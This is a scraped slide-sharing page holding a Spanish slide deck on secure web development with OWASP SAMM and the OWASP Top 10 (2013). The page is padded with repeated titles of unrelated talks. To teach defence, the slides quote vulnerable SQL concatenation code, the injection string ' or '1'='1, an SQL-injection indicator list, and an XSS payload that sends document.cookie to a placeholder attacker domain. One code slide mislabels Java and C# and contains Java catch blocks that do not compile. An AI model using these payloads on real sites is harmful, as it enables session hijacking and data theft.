Seguridad en el Desarrollo de Aplicaciones Web PHP
Seguridad en el Desarrollo de Aplicaciones Web PHPSeguridad en el Desarrollo de Aplicaciones Web PHP
Seguridad en el Desarrollo de Aplicaciones Web PHP
 
Inyecciones SQL
Inyecciones SQLInyecciones SQL
Inyecciones SQL
 
Owasp top 10
Owasp top 10Owasp top 10
Owasp top 10
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_security
 
NET MAUI Terasoft.pptx
NET MAUI Terasoft.pptxNET MAUI Terasoft.pptx
NET MAUI Terasoft.pptx
 
"Los Imprescindibles de .NetCore"
"Los Imprescindibles de .NetCore""Los Imprescindibles de .NetCore"
"Los Imprescindibles de .NetCore"
 
[Webinar] Gestión Identidades y Control de Acceso en los Servicios usando WSO...
[Webinar] Gestión Identidades y Control de Acceso en los Servicios usando WSO...[Webinar] Gestión Identidades y Control de Acceso en los Servicios usando WSO...
[Webinar] Gestión Identidades y Control de Acceso en los Servicios usando WSO...
 
Web app attacks
Web app attacksWeb app attacks
Web app attacks
 
IT Camps Apps Office 365 Valencia 2014
IT Camps Apps Office 365 Valencia 2014IT Camps Apps Office 365 Valencia 2014
IT Camps Apps Office 365 Valencia 2014
 
Portabilidad y transportabilidad
Portabilidad y transportabilidadPortabilidad y transportabilidad
Portabilidad y transportabilidad
 
Seguridad en arquitecturas serverless y entornos cloud
Seguridad en arquitecturas serverless y entornos cloudSeguridad en arquitecturas serverless y entornos cloud
Seguridad en arquitecturas serverless y entornos cloud
 

Plus de Software Guru

Hola Mundo del Internet de las Cosas
Hola Mundo del Internet de las CosasHola Mundo del Internet de las Cosas
Hola Mundo del Internet de las CosasSoftware Guru
 
Estructuras de datos avanzadas: Casos de uso reales
Estructuras de datos avanzadas: Casos de uso realesEstructuras de datos avanzadas: Casos de uso reales
Estructuras de datos avanzadas: Casos de uso realesSoftware Guru
 
Building bias-aware environments
Building bias-aware environmentsBuilding bias-aware environments
Building bias-aware environmentsSoftware Guru
 
El secreto para ser un desarrollador Senior
El secreto para ser un desarrollador SeniorEl secreto para ser un desarrollador Senior
El secreto para ser un desarrollador SeniorSoftware Guru
 
Cómo encontrar el trabajo remoto ideal
Cómo encontrar el trabajo remoto idealCómo encontrar el trabajo remoto ideal
Cómo encontrar el trabajo remoto idealSoftware Guru
 
Automatizando ideas con Apache Airflow
Automatizando ideas con Apache AirflowAutomatizando ideas con Apache Airflow
Automatizando ideas con Apache AirflowSoftware Guru
 
How thick data can improve big data analysis for business:
How thick data can improve big data analysis for business:How thick data can improve big data analysis for business:
How thick data can improve big data analysis for business:Software Guru
 
Introducción al machine learning
Introducción al machine learningIntroducción al machine learning
Introducción al machine learningSoftware Guru
 
Democratizando el uso de CoDi
Democratizando el uso de CoDiDemocratizando el uso de CoDi
Democratizando el uso de CoDiSoftware Guru
 
Gestionando la felicidad de los equipos con Management 3.0
Gestionando la felicidad de los equipos con Management 3.0Gestionando la felicidad de los equipos con Management 3.0
Gestionando la felicidad de los equipos con Management 3.0Software Guru
 
Taller: Creación de Componentes Web re-usables con StencilJS
Taller: Creación de Componentes Web re-usables con StencilJSTaller: Creación de Componentes Web re-usables con StencilJS
Taller: Creación de Componentes Web re-usables con StencilJSSoftware Guru
 
El camino del full stack developer (o como hacemos en SERTI para que no solo ...
El camino del full stack developer (o como hacemos en SERTI para que no solo ...El camino del full stack developer (o como hacemos en SERTI para que no solo ...
El camino del full stack developer (o como hacemos en SERTI para que no solo ...Software Guru
 
¿Qué significa ser un programador en Bitso?
¿Qué significa ser un programador en Bitso?¿Qué significa ser un programador en Bitso?
¿Qué significa ser un programador en Bitso?Software Guru
 
Colaboración efectiva entre desarrolladores del cliente y tu equipo.
Colaboración efectiva entre desarrolladores del cliente y tu equipo.Colaboración efectiva entre desarrolladores del cliente y tu equipo.
Colaboración efectiva entre desarrolladores del cliente y tu equipo.Software Guru
 
Pruebas de integración con Docker en Azure DevOps
Pruebas de integración con Docker en Azure DevOpsPruebas de integración con Docker en Azure DevOps
Pruebas de integración con Docker en Azure DevOpsSoftware Guru
 
Elixir + Elm: Usando lenguajes funcionales en servicios productivos
Elixir + Elm: Usando lenguajes funcionales en servicios productivosElixir + Elm: Usando lenguajes funcionales en servicios productivos
Elixir + Elm: Usando lenguajes funcionales en servicios productivosSoftware Guru
 
Así publicamos las apps de Spotify sin stress
Así publicamos las apps de Spotify sin stressAsí publicamos las apps de Spotify sin stress
Así publicamos las apps de Spotify sin stressSoftware Guru
 
Achieving Your Goals: 5 Tips to successfully achieve your goals
Achieving Your Goals: 5 Tips to successfully achieve your goalsAchieving Your Goals: 5 Tips to successfully achieve your goals
Achieving Your Goals: 5 Tips to successfully achieve your goalsSoftware Guru
 
Acciones de comunidades tech en tiempos del Covid19
Acciones de comunidades tech en tiempos del Covid19Acciones de comunidades tech en tiempos del Covid19
Acciones de comunidades tech en tiempos del Covid19Software Guru
 
De lo operativo a lo estratégico: un modelo de management de diseño
De lo operativo a lo estratégico: un modelo de management de diseñoDe lo operativo a lo estratégico: un modelo de management de diseño
De lo operativo a lo estratégico: un modelo de management de diseñoSoftware Guru
 

Plus de Software Guru (20)

Hola Mundo del Internet de las Cosas
Hola Mundo del Internet de las CosasHola Mundo del Internet de las Cosas
Hola Mundo del Internet de las Cosas
 
Estructuras de datos avanzadas: Casos de uso reales
Estructuras de datos avanzadas: Casos de uso realesEstructuras de datos avanzadas: Casos de uso reales
Estructuras de datos avanzadas: Casos de uso reales
 
Building bias-aware environments
Building bias-aware environmentsBuilding bias-aware environments
Building bias-aware environments
 
El secreto para ser un desarrollador Senior
El secreto para ser un desarrollador SeniorEl secreto para ser un desarrollador Senior
El secreto para ser un desarrollador Senior
 
Cómo encontrar el trabajo remoto ideal
Cómo encontrar el trabajo remoto idealCómo encontrar el trabajo remoto ideal
Cómo encontrar el trabajo remoto ideal
 
Automatizando ideas con Apache Airflow
Automatizando ideas con Apache AirflowAutomatizando ideas con Apache Airflow
Automatizando ideas con Apache Airflow
 
How thick data can improve big data analysis for business:
How thick data can improve big data analysis for business:How thick data can improve big data analysis for business:
How thick data can improve big data analysis for business:
 
Introducción al machine learning
Introducción al machine learningIntroducción al machine learning
Introducción al machine learning
 
Democratizando el uso de CoDi
Democratizando el uso de CoDiDemocratizando el uso de CoDi
Democratizando el uso de CoDi
 
Gestionando la felicidad de los equipos con Management 3.0
Gestionando la felicidad de los equipos con Management 3.0Gestionando la felicidad de los equipos con Management 3.0
Gestionando la felicidad de los equipos con Management 3.0
 
Taller: Creación de Componentes Web re-usables con StencilJS
Taller: Creación de Componentes Web re-usables con StencilJSTaller: Creación de Componentes Web re-usables con StencilJS
Taller: Creación de Componentes Web re-usables con StencilJS
 
El camino del full stack developer (o como hacemos en SERTI para que no solo ...
El camino del full stack developer (o como hacemos en SERTI para que no solo ...El camino del full stack developer (o como hacemos en SERTI para que no solo ...
El camino del full stack developer (o como hacemos en SERTI para que no solo ...
 
¿Qué significa ser un programador en Bitso?
¿Qué significa ser un programador en Bitso?¿Qué significa ser un programador en Bitso?
¿Qué significa ser un programador en Bitso?
 
Colaboración efectiva entre desarrolladores del cliente y tu equipo.
Colaboración efectiva entre desarrolladores del cliente y tu equipo.Colaboración efectiva entre desarrolladores del cliente y tu equipo.
Colaboración efectiva entre desarrolladores del cliente y tu equipo.
 
Pruebas de integración con Docker en Azure DevOps
Pruebas de integración con Docker en Azure DevOpsPruebas de integración con Docker en Azure DevOps
Pruebas de integración con Docker en Azure DevOps
 
Elixir + Elm: Usando lenguajes funcionales en servicios productivos
Elixir + Elm: Usando lenguajes funcionales en servicios productivosElixir + Elm: Usando lenguajes funcionales en servicios productivos
Elixir + Elm: Usando lenguajes funcionales en servicios productivos
 
Así publicamos las apps de Spotify sin stress
Así publicamos las apps de Spotify sin stressAsí publicamos las apps de Spotify sin stress
Así publicamos las apps de Spotify sin stress
 
Achieving Your Goals: 5 Tips to successfully achieve your goals
Achieving Your Goals: 5 Tips to successfully achieve your goalsAchieving Your Goals: 5 Tips to successfully achieve your goals
Achieving Your Goals: 5 Tips to successfully achieve your goals
 
Acciones de comunidades tech en tiempos del Covid19
Acciones de comunidades tech en tiempos del Covid19Acciones de comunidades tech en tiempos del Covid19
Acciones de comunidades tech en tiempos del Covid19
 
De lo operativo a lo estratégico: un modelo de management de diseño
De lo operativo a lo estratégico: un modelo de management de diseñoDe lo operativo a lo estratégico: un modelo de management de diseño
De lo operativo a lo estratégico: un modelo de management de diseño
 

Dernier

Los Microcontroladores PIC, Aplicaciones
Los Microcontroladores PIC, AplicacionesLos Microcontroladores PIC, Aplicaciones
Los Microcontroladores PIC, AplicacionesEdomar AR
 
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPO
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPOAREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPO
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPOnarvaezisabella21
 
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxMedidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxaylincamaho
 
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del PerúRed Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del PerúCEFERINO DELGADO FLORES
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son241514984
 
Trabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdfTrabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdfedepmariaperez
 
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxEl_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxAlexander López
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxazmysanros90
 
tarea de exposicion de senati zzzzzzzzzz
tarea de exposicion de senati zzzzzzzzzztarea de exposicion de senati zzzzzzzzzz
tarea de exposicion de senati zzzzzzzzzzAlexandergo5
 
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptLUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptchaverriemily794
 
Tecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptxTecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptxGESTECPERUSAC
 
La Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdfLa Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdfjeondanny1997
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx241522327
 
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptx
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptxModelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptx
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptxtjcesar1
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadMiguelAngelVillanuev48
 
Presentación sobre la Inteligencia Artificial
Presentación sobre la Inteligencia ArtificialPresentación sobre la Inteligencia Artificial
Presentación sobre la Inteligencia Artificialcynserafini89
 
Excel (1) tecnologia.pdf trabajo Excel taller
Excel  (1) tecnologia.pdf trabajo Excel tallerExcel  (1) tecnologia.pdf trabajo Excel taller
Excel (1) tecnologia.pdf trabajo Excel tallerValentinaTabares11
 
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxLAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxAlexander López
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx241523733
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxNombre Apellidos
 

Dernier (20)

Los Microcontroladores PIC, Aplicaciones
Los Microcontroladores PIC, AplicacionesLos Microcontroladores PIC, Aplicaciones
Los Microcontroladores PIC, Aplicaciones
 
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPO
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPOAREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPO
AREA TECNOLOGIA E INFORMATICA TRABAJO EN EQUIPO
 
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxMedidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
 
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del PerúRed Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
Red Dorsal Nacional de Fibra Óptica y Redes Regionales del Perú
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son
 
Trabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdfTrabajo de tecnología excel avanzado.pdf
Trabajo de tecnología excel avanzado.pdf
 
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxEl_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptx
 
tarea de exposicion de senati zzzzzzzzzz
tarea de exposicion de senati zzzzzzzzzztarea de exposicion de senati zzzzzzzzzz
tarea de exposicion de senati zzzzzzzzzz
 
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptLUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
 
Tecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptxTecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptx
 
La Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdfLa Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdf
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx
 
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptx
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptxModelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptx
Modelo de Presentacion Feria Robotica Educativa 2024 - Versión3.pptx
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidad
 
Presentación sobre la Inteligencia Artificial
Presentación sobre la Inteligencia ArtificialPresentación sobre la Inteligencia Artificial
Presentación sobre la Inteligencia Artificial
 
Excel (1) tecnologia.pdf trabajo Excel taller
Excel  (1) tecnologia.pdf trabajo Excel tallerExcel  (1) tecnologia.pdf trabajo Excel taller
Excel (1) tecnologia.pdf trabajo Excel taller
 
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxLAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
 

Samm owasp

  • 1. Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 2. Introducción | Contexto Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 3. Introducción | Contexto Antecedente: Top ATTack Web [2012] Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 4. Introducción | Contexto Vulnerabilidades [porcentaje de aplicaciones afectadas] Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 5. Introducción | Contexto Vulnerabilidades [Dispositivos Móviles (App´s)] Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 6. Introducción | Contexto Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 7. Que? | SAMM | Contexto El modelo de madurez para el aseguramiento de software (SAMM por sus siglas en inglés Software Assurance Maturity Model) es un marco de trabajo abierto para ayudar a formular e implementar una estrategia de seguridad para Software. Beneficios: • Evaluar las prácticas de seguridad en Software existentes en la empresa - organización • Construir un programa de seguridad en Software balanceado en iteraciones bien definidas • Demostrar mejoras concretas en el programa de aseguramiento calidad de Software • Definir y medir las actividades relacionadas con seguridad en la organización Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@} www.owasp.org
  • 8. SAMM | Descripción | Framework Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 9. SAMM | Descripción Niveles de Madurez Cada una de las prácticas de seguridad tiene tres niveles de madurez bien definidos y un nivel inicial (cero) implícito: Estrategia y métricas - Política y cumplimiento - Educación y orientación [SM-PC-EG] Evaluación de amenaza - Requisitos de seguridad - Arquitectura de seguridad [TA-SR-SA] Revisión de diseño - Revisión de código - Pruebas de seguridad [DR-CR-ST] • Punto de inicio implícito, las actividades en la practica que no se han realizado • Entendimiento inicial y provisión ad-hoc de la práctica de seguridad • Incremento en la eficiencia y/o efectividad de la práctica de seguridad • Dominio amplio de la práctica de seguridad [Practica de seguridad + Objetivos + Actividades + Nivel de madurez (1,2,3)] Administración de vulnerabilidades - Fortalecimiento del ambiente - Habilitación operativa [VW-EH-OE] Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 10. SAMM | Framework WorkFlow Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 11. Como? | OWASP | Contexto OWASP Es un Proyecto abierto de seguridad para implementar en el desarrollo de aplicaciones web (acrónimo en inglés Open Web Application Security Project), formada por empresas, organizaciones educativas y particulares de todo el mundo. - Comunidad de seguridad informática que trabaja para crear artículos, metodologías, documentación, herramientas y tecnologías, las cuales pueden ser usadas gratuitamente. www.owasp.org Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 12. OWASP | Contexto Tipos de Vulnerabilidades |           Top 10 Norma OWASP 2013 Inyección de código [Sql Injection] Pérdida de Autenticación y Gestión de Sesiones [Broken Authentication and Session Management] Secuencia de Comandos en Sitios Cruzados [Cross-Site Scripting (XSS)] Referencia Directa Insegura a Objetos [Insecure Direct Object References] Configuración Defectuosa de Seguridad [Security Misconfiguration] Exposición de datos Sensibles [Sensitive Data Exposure] Funcionalidad Limitada para Niveles de Control de Acceso [Missing Function Level Access Control] Falsificación de Peticiones en Sitios Cruzados [Cross-Site Request Forgery (CSRF)] Uso de Componentes vulnerables [Using Known Vulnerable Components] Redirecciones y reenvíos no validados [Unvalidated Redirects and Forwards] Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 13. OWASP | Inyección de código [Sql Injection] • Escenario #1: Aplicación que realiza una consulta [SQL]: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; • Escenario #2: Aplicación similar a la anterior, en esta pasa parámetros hacia la consulta sobre la url: Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + equest.getParameter("id") + "'"); Al momento de modificar la variable ‘id’ los cuales son parámetros que están en la url que muestra el browser: ' or '1'='1. Por ejemplo: http://midominio.com/app/accountView?id=' or '1'='1 Este cambio puede afectar a la consulta o algún procedimiento almacenado que tenga la lógica del negocio a nivel de base de datos, alterando la información almacenada Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 14. OWASP | Inyección de código [Sql Injection] API de seguridad [“white list”] que valide los siguientes caracteres ' or " Caracteres – Indicadores String -- or # Comentarios tipo single-line /*…*/ Comentarios tipo multiple-line + Conector adicional (por espacio en la url) || Conector tipo (double pipe) % Atributo de indicador - wildcard ?Param1=foo&Param2=bar Parámetros en la url PRINT Comando Transaccional (non) @variable Variable Local @@variable Variable Global waitfor delay '0:0:10' Opciones de Time-Delay Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 15. OWASP | Pérdida de Autenticación y Gestión de Sesiones [Broken Authentication and Session Management] Escenario: Al momento de hacer reservaciones en una Aerolínea aplicando [URL rewriting], en el manejo de las sesiones [ID´s] en la url: http://midominio.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?destino=Hawaii El usuario autenticado del sitio quiere dejar que sus amigos estén enterados acerca de la venta del boleto en el portal en línea, el cual lo envía por e-mail en el enlace anterior sin saber que también está regalando su ID de sesión [Marcado con amarillo]., y probablemente estén referenciados datos de su tarjeta de crédito. Nota: para que la validación de las contraseñas definidas dentro del sistema [Registro de usuarios] este correcta tomar en cuenta los caracteres [incluyendo mayúsculas, minúsculas, números y otros signos especiales, como +, -, ;, #, $, %, &, (, ), /, @, _] Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 16. OWASP | Secuencia de Comandos en Sitios Cruzados [Cross-Site Scripting (XSS)] Escenario: Escenario de ataque La aplicación utiliza datos no confiables en la construcción del siguiente código HTML sin validación en las sentencias de “escape” (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>"; Al momento de modificar los parámetros de ‘CC’ en el browser puede dejar pasar parámetros que construyan otro sub sitio web con información apócrifa '><script>document.location= 'http://www.dominioexternoparaAtacar.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'. Permite que el atacante secuestre la sesión de usuario así como también su identidad web. Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 17. OWASP | Secuencia de Comandos en Sitios Cruzados [Cross-Site Scripting (XSS)] Para evitar esta eventualidad es necesario la separación de los datos no confiables de contenido activo en el navegador. Validar las variables de [escape] correctamente en el contexto HTML (cuerpo, atributo, JavaScript, CSS, o URL), como lo muestra la siguiente tabla: Hay que tomar en cuenta la validación de entrada de los datos [white list], en la cual se validan caracteres especiales que no permitan la inserción de código malicioso o información irrelevante para el sistema, validar la longitud, el formato y las reglas de negocio de los datos antes de aceptar la entrada. Tipo de dato String Contexto HTML Body Atributos HTML Ejemplo de código <span> Datos no confiables </span> <input type="text" name="fname" value="Datos no confiables"> String Parametros tipo GET <a href="/site/search?value= Datos no confiables ">click</a> String String URL , SRC o HREF atributos no confiables Validaciones CSS <a href=" Datos no confiables ">click</a> <iframe src=" Datos no confiables " /> <div style="width: Datos no confiables;">Selección</div> String Variables JavaScript HTML HTML Body DOM XSS <script>var currentValue=' Datos no confiables ';</script> <script>algunaFunction(' Datos no confiables ');</script> <div>HTML no confiable</div> <script>document.write("Datos no confiables INPUT: " + document.location.hash);<script/> String String Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 18. OWASP | Referencia Directa Insegura a Objetos [Insecure Direct Object References] La aplicación utiliza datos no verificados en una llamada de [SQL] que accede a la información: String query = "SELECT * FROM accts WHERE account =?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); Al momento que se modifica el parámetro ‘acct’ que envía por el browser realiza el llamado al objeto no validado y ejecuta la eventualidad. http://dominioEjemplo.com/app/accountInfo?acct=notmyacct Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 19. OWASP | Configuración Defectuosa de Seguridad [Security Misconfiguration] Escenario # 1: El listado de directorios no está deshabilitado en el servidor de aplicaciones. El atacante descubre que simplemente puede listar directorios para encontrar cualquier archivo. El atacante encuentra y descarga todas las clases Java compiladas, realiza el método de “ingeniería inversa” para obtener todo el código personalizado. Escenario # 2: El servidor de aplicaciones de producción incluye proyectos de ejemplo que no se eliminan, dichas aplicaciones - proyectos tienen fallos de seguridad, los cuales el atacante pueden utilizar para comprometer la estabilidad y degradar el servicio o colapsar la funcionalidad. Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 20. OWASP | Configuración Defectuosa de Seguridad [Security Misconfiguration] El siguiente seudocódigo muestra una validación simple para atrapar eventualidades y controlar la información que se le presenta al usuario final. .NET try { System.out.println(" Argumento "); out = new PrintWriter(new FileWriter("ArchivodeSalida.txt")); …… } catch (Exception e) { System.err.println("Ocurrió un error!”); } catch (IOException e) { System.err.println("insertar excepción"); } finally { if (out != null) { out.close(); } JAVA public class ___ { public static void Main() { try { StreamReader sr = File.OpenText("ArchivodeSalida.txt.txt"); Console.WriteLine("Reading line {0}", sr.ReadLine()); } catch(Exception e) { Console.WriteLine("Ocurrió un error”); logerror(“Tipo de error: “, e); } } } } Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 21. OWASP | Exposición de datos Sensibles [Sensitive Data Exposure] Escenario # 1: Una aplicación encripta el número de tarjeta de crédito en una base de datos mediante el cifrado automática, sin embargo, esto significa que también descifra los datos de forma automática cuando se recuperan, lo que permite un fallo de inyección SQL para recuperar los números de tarjetas de crédito en parámetros de texto enviados por formularios no validados. El sistema debería haber cifrado el número de tarjeta de crédito a través de una clave pública, y sólo permite las aplicaciones de back-end a descifrar con la clave privada. Escenario # 2: Un sitio simplemente no utiliza SSL para todas las páginas autenticadas. El atacante sólo supervisa el tráfico de red (como una red inalámbrica abierta), y roba por medio de cookie´s de sesión del usuario. Seguidamente, crea nuevamente [replays (sobre escribir afectando el flujo de la información)] esta cookie y secuestra la sesión del usuario, el acceso a los datos privados de los usuarios. Nota: Tomar en cuenta los algoritmos de criptografía para contraseñas - Password´s [scrypt, bcrypt, PBKDF2 (Password-Based Key Derivation Function 2) asi como también SSL]. Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
  • 22. OWASP | Funcionalidad Limitada para Niveles de Control de Acceso [Missing Function Level Access Control] Escenario # 1: El atacante simplemente explora las URL de destino [Crawler – Audit (puede ser un software)]. Y detecta que necesitan autenticación, también se requieren derechos de administrador para acceder a la página "admin_getappInfo", http://midominio.com/app/getappInfo http://midominio.com/app/admin_getappInfo, Si un usuario no autenticado [dentro de la validación de las funciones que comprenden el flujo del proyecto (cuentas de administración o privilegios de usuarios normales)] puede acceder a cualquiera de las páginas, se declara la vulnerabilidad y el atacantes puede ver la información. Escenario # 2: Una página web proporciona un parámetro de "acción" para especificar la función que se invoca, y diferentes acciones requieren diferentes roles. Si estas funciones no se cumplen, eso es un defecto. Desarrollo de Aplicaciones Web Seguras con (SAMM - OWASP) | {@}
